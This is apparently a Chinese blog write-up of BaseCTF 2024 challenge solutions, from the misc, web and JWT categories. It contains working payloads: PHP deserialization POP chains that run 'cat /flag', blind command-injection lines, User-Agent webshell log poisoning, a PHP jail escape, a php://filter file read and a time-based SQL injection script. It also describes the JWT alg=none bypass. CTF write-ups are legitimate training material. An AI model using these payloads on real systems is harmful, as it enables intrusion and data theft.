比赛复现 CTF BaseCTF kunkun 2024-09-04 2024-12-01 misc ez_crypto qMfZzunurNTuAdfZxZfZxZrUx2v6x2i0C2u2ngrLyZbKzx0=
base64换表
黑丝上的flag stegsolve查看通道
这是一个压缩包 压缩包爆破解密,注释里的一段base解密:
QmFzZUNURj8/Pz8/P0ZUQ2VzYUI=
BaseCTF??????FTCesaB
ARCHPR爆破无解,经观察可知这个密码呈对称性
脚本直接爆破解密
lowercase = 'abcdefghijklmnopqrstuvwxyz' uppercase = lowercase.upper() digits = '0123456789' symbols = '!@#$%^&*()-_=+' ls = lowercase+uppercase+digits+symbols with open ('passwd.txt' ,'w' ) as f: for t1 in ls: for t2 in ls: for t3 in ls: password = 'BaseCTF' +t1+t2+t3+t3+t2+t1+'FTCesaB' f.write(password+'\n' )
BaseCTF_h11h_FTCesaB
BaseCTF{a7da6763-5013-4963-9c23-8fb3d049bdce}
Base revenge base64隐写->JnUaAFMFImgANSEuAWYuBE9SyaYpC2ldBrU9
根据提示:Atbash
web ez_ser <?php highlight_file (__FILE__ );error_reporting (0 );class re { public $chu0 ; public function __toString ( ) { if (!isset ($this ->chu0)){ return "I can not believes!" ; } $this ->chu0->$nononono ; } } class web { public $kw ; public $dt ; public function __wakeup ( ) { echo "lalalla" .$this ->kw; } public function __destruct ( ) { echo "ALL Done!" ; } } class pwn { public $dusk ; public $over ; public function __get ($name ) { if ($this ->dusk != "gods" ){ echo "什么,你竟敢不认可?" ; } $this ->over->getflag (); } } class Misc { public $nothing ; public $flag ; public function getflag ( ) { eval ("system('cat /flag');" ); } } class Crypto { public function __wakeup ( ) { echo "happy happy happy!" ; } public function getflag ( ) { echo "you are over!" ; } } $ser = $_GET ['ser' ];unserialize ($ser );?>
构造payload
<?php class re { public $chu0 ; public function __toString ( ) { if (!isset ($this ->chu0)){ return "I can not believes!" ; } $this ->chu0->$nononono ; } } class web { public $kw ; public $dt ; public function __wakeup ( ) { echo "lalalla" .$this ->kw; } public function __destruct ( ) { echo "ALL Done!" ; } } class pwn { public $dusk ; public $over ; public function __get ($name ) { if ($this ->dusk != "gods" ){ echo "什么,你竟敢不认可?" ; } $this ->over->getflag (); } } class Misc { public $nothing ; public $flag ; public function getflag ( ) { eval ("system('cat /flag');" ); } } $a = new misc ();$b = new pwn ();$b -> over = $a ;$c = new re ();$c -> chu0 = $b ;$d =new web ();$d -> kw = $c ;echo serialize ($d );?>
nature=O:6:”Nature”:1:{s:3:”sea”;O:3:”Sea”:1:{s:6:”animal”;O:5:”Shark”:1:{s:6:”%00word%00”;O:4:”Sink”:1:{s:9:”%00Sink%00cmd”;s:9:”echo 123;”;}}}}
Really EZ POP php反序列化
<?php highlight_file (__FILE__ );class Sink { private $cmd = 'echo 123;' ; public function __toString ( ) { eval ($this ->cmd); } } class Shark { private $word = 'Hello, World!' ; public function __invoke ( ) { echo 'Shark says:' . $this ->word; } } class Sea { public $animal ; public function __get ($name ) { $sea_ani = $this ->animal; echo 'In a deep deep sea, there is a ' . $sea_ani (); } } class Nature { public $sea ; public function __destruct ( ) { echo $this ->sea->see; } } if ($_POST ['nature' ]) { $nature = unserialize ($_POST ['nature' ]); }
我们先找到eval函数输出,可以使cmd等于system(“cat /flag”)进行命令执行,即我们要触发tostring()函数
这里我们可以看见类Shark里面的有个私有属性word里包含一个字符串,可以尝试在这里进行触发tostring()
但是私有属性不能够直接调用,直接进行内部赋值(之前是这里不会),之后直接触发invoke(),当对象调用函数时触发,这里我们看见类Sea里的animal,将Sea里的animal调用给Shark即可触发invoke(),之后就是_get()魔术方法的触发,从不可访问的属性里读取数据,这里我们直接调用类Nature里的sea给$sea即可,触发destruct().
payload
<?php class Sink { private $cmd = 'system("cat /flag");' ; public function __toString ( ) { eval ($this ->cmd); } } class Shark { private $word = 'Hello, World!' ; public function setWord ($word ) { $this ->word = $word ; } public function __invoke ( ) { echo 'Shark says:' . $this ->word; } } class Sea { public $animal ; public function __get ($name ) { $sea_ani = $this ->animal; echo 'In a deep deep sea, there is a ' . $sea_ani (); } } class Nature { public $sea ; public function __destruct ( ) { echo $this ->sea->see; } } $nature = new Nature ();$sea = new Sea ();$sink = new Sink ();$shark = new Shark ();$sea ->animal = $shark ;$nature ->sea = $sea ;$shark ->setWord ($sink );echo urlencode (serialize ($nature ));?>
数学大师 题目提示:每一道题目需要在 5 秒内解出, 传入到 $_POST['answer']
中, 解出 50 道即可, 除法取整
考察使用python的request来编写脚本进行计算
import reimport requestsurl = 'http://challenge.basectf.fun:21216/' s = requests.Session() payload = {'answer' : 1 } response = s.post(url) print (response.text)for i in range (50 ): response_text = response.text print (response.text) start_index = response_text.find('second ' ) + 7 end_index = response_text.find('?' ) expression = response_text[start_index:end_index] partten = r'÷' expression = re.sub(partten, '//' , expression) partten = r'×' expression = re.sub(partten, '*' , expression) print (expression) answer = eval (expression) print (answer) payload = {'answer' : answer} response = s.post(url, data=payload, cookies=response.cookies) print (response.text)
BaseCTF{2112aa5d-5928-4a13-bca4-d9b621cb027b}
所以你说你懂 MD5? 考察知识点:md5
<?php session_start ();highlight_file (__FILE__ );$apple = $_POST ['apple' ];$banana = $_POST ['banana' ];if (!($apple !== $banana && md5 ($apple ) === md5 ($banana ))) { die ('加强难度就不会了?' ); } $apple = (string )$_POST ['appple' ];$banana = (string )$_POST ['bananana' ];if (!((string )$apple !== (string )$banana && md5 ((string )$apple ) == md5 ((string )$banana ))) { die ('难吗?不难!' ); } $apple = (string )$_POST ['apppple' ];$banana = (string )$_POST ['banananana' ];if (!((string )$apple !== (string )$banana && md5 ((string )$apple ) === md5 ((string )$banana ))) { die ('嘻嘻, 不会了? 没看直播回放?' ); } if (!isset ($_SESSION ['random' ])) { $_SESSION ['random' ] = bin2hex (random_bytes (16 )) . bin2hex (random_bytes (16 )) . bin2hex (random_bytes (16 )); } $random = $_SESSION ['random' ];echo md5 ($random );echo '<br />' ;$name = $_POST ['name' ] ?? 'user' ;if (substr ($name , -5 ) !== 'admin' ) { die ('不是管理员也来凑热闹?' ); } $md5 = $_POST ['md5' ];if (md5 ($random . $name ) !== $md5 ) { die ('伪造? NO NO NO!' ); } echo "看样子你真的很懂 MD5" ;echo file_get_contents ('/flag' ); 加强难度就不会了?
⼀共有 4 层,依次来绕过。
第⼀层可以直接数组绕过。
第⼆层和第三层都可以直接构造 md5 碰撞绕过。
第四层涉及到 md5 ⻓度扩展攻击,即已知⼀个字符串的 md5 值和⻓度,并且要往他后⾯拼接⼀个可控
的字符串,我们可以通过控制后⾯的字符串从⽽计算得到拼接后字符串的 md5 值。
在这道题中,random 的⻓度已知(本地跑⼀下是96),random 的 md5 值已知,并且拼接的字符串可
控(需要以 admin 结尾),这⾥通过下⾯这个脚本构造
你听不到我的声音 考察知识点:无回显RCE
<?php highlight_file (__FILE__ );shell_exec ($_POST ['cmd' ]);
方法一:使用tee进行写入
cmd=cat /flag | tee 1 .txt
方法二:使用>进行文件写入
滤个不停 <?php highlight_file (__FILE__ );error_reporting (0 );$incompetent = $_POST ['incompetent' ];$Datch = $_POST ['Datch' ];if ($incompetent !== 'HelloWorld' ) { die ('写出程序员的第一行问候吧!' ); } $required_chars = ['s' , 'e' , 'v' , 'a' , 'n' , 'x' , 'r' , 'o' ];$is_valid = true ;foreach ($required_chars as $char ) { if (strpos ($Datch , $char ) === false ) { $is_valid = false ; break ; } } if ($is_valid ) { $invalid_patterns = ['php://' , 'http://' , 'https://' , 'ftp://' , 'file://' , 'data://' , 'gopher://' ]; foreach ($invalid_patterns as $pattern ) { if (stripos ($Datch , $pattern ) !== false ) { die ('此路不通换条路试试?' ); } } include ($Datch ); } else { die ('文件名不合规 请重试' ); } ?>
POST传参incompetent等于HelloWorld即可
第⼀层很简单,就是⼀个简单的判断字符串相等,传⼊指定字符串即可。
第⼆层是⽂件包含漏洞,过滤了很多协议,这⾥可以使⽤⽇志包含。
在 UA 头中写⼊⼀句话⽊⻢,然后包含 /var/log/nginx/access.log 。
ez_php_jail php沙盒逃逸
<?php highlight_file (__FILE__ );error_reporting (0 );include ("hint.html" );$Jail = $_GET ['Jail_by.Happy' ];if ($Jail == null ) die ("Do You Like My Jail?" );function Like_Jail ($var ) { if (preg_match ('/(`|\$|a|c|s|require|include)/i' , $var )) { return false ; } return true ; } if (Like_Jail ($Jail )) { eval ($Jail ); echo "Yes! you escaped from the jail! LOL!" ; } else { echo "You will Jail in your life!" ; } echo "\n" ;?> Welcome to My Jail Do You Like My Jail?
php沙盒逃逸
php版本小于8时,GET请求的参数含有***.*** 则会转为***_***
但是如果直接有**[** ,这个[ 会被直接转化为_ ,但是如果后面有. ,这个.就不会转化为_
这里使用highlight_file函数可以绕过
Payload
?Jail[by.Happy=highlight_file (glob ("/f*" )[0 ]);
flag直接读取不就行了? <?php highlight_file ('index.php' );error_reporting (0 );$J1ng = $_POST ['J' ];$Hong = $_POST ['H' ];$Keng = $_GET ['K' ];$Wang = $_GET ['W' ];$dir = new $Keng ($Wang );foreach ($dir as $f ) { echo ($f . '<br>' ); } echo new $J1ng ($Hong );?>
PHP 文件系统迭代器 DirectoryIterator 类提供了一种简单的接口,用于查看文件系统目录的内容。它允许逐个访问目录中的文件和子目录
SplFileObject 类简介 SplFileObject 类提供了一种面向对象的方式来处理文件,支持流式处理,非常适合操作大文件
?K=DirectoryIterator&W=/secret/使用其进行遍历,可以发现f11444g.php文件
伪协议读取文件内容
J=SplFileObject&H=php://filter/read=convert.base64-encode/resource=/secret/f11444g.php
only one sql sql时间盲注
源码
<?php highlight_file (__FILE__ );$sql = $_GET ['sql' ];if (preg_match ('/select|;|@|\n/i' , $sql )) { die ("你知道的,不可能有sql注入" ); } if (preg_match ('/"|\$|`|\\\\/i' , $sql )) { die ("你知道的,不可能有RCE" ); } $query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"" ;system ($query ); 没有select,让你执行一句又如何 没有select,让你执行一句又如何
部分关键词被禁用,只能执行一句sql语句
show tables; 可以发现有2张表Tables_in_ctf flag
show columns from flag #查询表中所有字段
Field Type Null Key Default Extra id varchar(300) YES NULL data varchar(300) YES NULL
使用时间盲注脚本来查询flag即可
import requestsimport stringsqlstr = string.ascii_lowercase + string.digits + '-' + "{}" url = "http://challenge.basectf.fun:23963/?sql=show%20columns%20from%20flag" end="%25%27%20and%20sleep(5)" flag='' for i in range (1 , 100 ): for c in sqlstr: payload = url +flag+ c + end try : r = requests.get(payload,timeout=4 ) except : print (flag+c) flag+=c break
圣钥之战1.0 /read读取源码
J1ngHong说:你想read flag吗? 那么圣钥之光必将阻止你! 但是小小的源码没事,因为你也读不到flag(乐) from flask import Flask,requestimport jsonapp = Flask(__name__) def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) def is_json (data ): try : json.loads(data) return True except ValueError: return False class cls (): def __init__ (self ): pass instance = cls() @app.route('/' , methods=['GET' , 'POST' ] ) def hello_world (): return open ('/static/index.html' , encoding="utf-8" ).read() @app.route('/read' , methods=['GET' , 'POST' ] ) def Read (): file = open (__file__, encoding="utf-8" ).read() return f"J1ngHong说:你想read flag吗? 那么圣钥之光必将阻止你! 但是小小的源码没事,因为你也读不到flag(乐) {file} " @app.route('/pollute' , methods=['GET' , 'POST' ] ) def Pollution (): if request.is_json: merge(json.loads(request.data),instance) else : return "J1ngHong说:钥匙圣洁无暇,无人可以污染!" return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?" if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=80 )
NO JWT JWT认证攻击详细解答:
1.JWT的简介
JWT全称为json web token 将json对象作为载体进行传输信息,通常用于身份认证和信息交换。JWT可以使用密钥(HMAC算法)或者使用RSA或ECDSA的公钥/私钥对自身进行签名
2:JWT的格式
每当用户访问站点中的资源时,对应的请求头认证默认为Authorization:jwt JWT令牌认证以eyj开头
JWT的数据头部如下:
JWT的数据分为三部分:头部(header),有效载荷(Payload),签名(Signature)
三个部分以英文逗号隔开,JWT的内容以base64进行编码
下面举个例子:
(1):头部信息包含了JWT的配置方面,例如签名算法(alg),令牌类型(JWT)和加密算法(alg)或者算法使用的密钥文件
Head:eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ
{“kid”:”keys/3c3c2ea1c3f113f649dc9389dd71b851”,”typ”:”JWT”,”alg”:”RS256”}
(2):有效载荷
有效载荷用于存储用户的数据,例如用户名(test123)
payload:eyJzdWIiOiJkdWJoZTEyMyJ9
{“sub”:”dubhe123”}
(3):签名
Signature 需要使用编码后的header和payload以及我们提供的一个密钥,然后使用header中指定的签名算法通常是RS256(RSA非对称加密和私钥签名)和HS256(HMAC SHA256对称加密)算法进行签名,签名的作用是保证jwt没有被篡改过
下面是一个用HS256生成Jw=WT的代码例子
HMACSHA256(base64Encode(header) + “.” + base64urlEncode(payload),secret)
Signature:
XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw
JWT常见安全问题
1:签名算法可被修改为none(CVE-2015-9235)
JWT支持算法设定为“None”,如果“alg”字段设为“None”,那么签名会被置空,这样的任何token都是有效的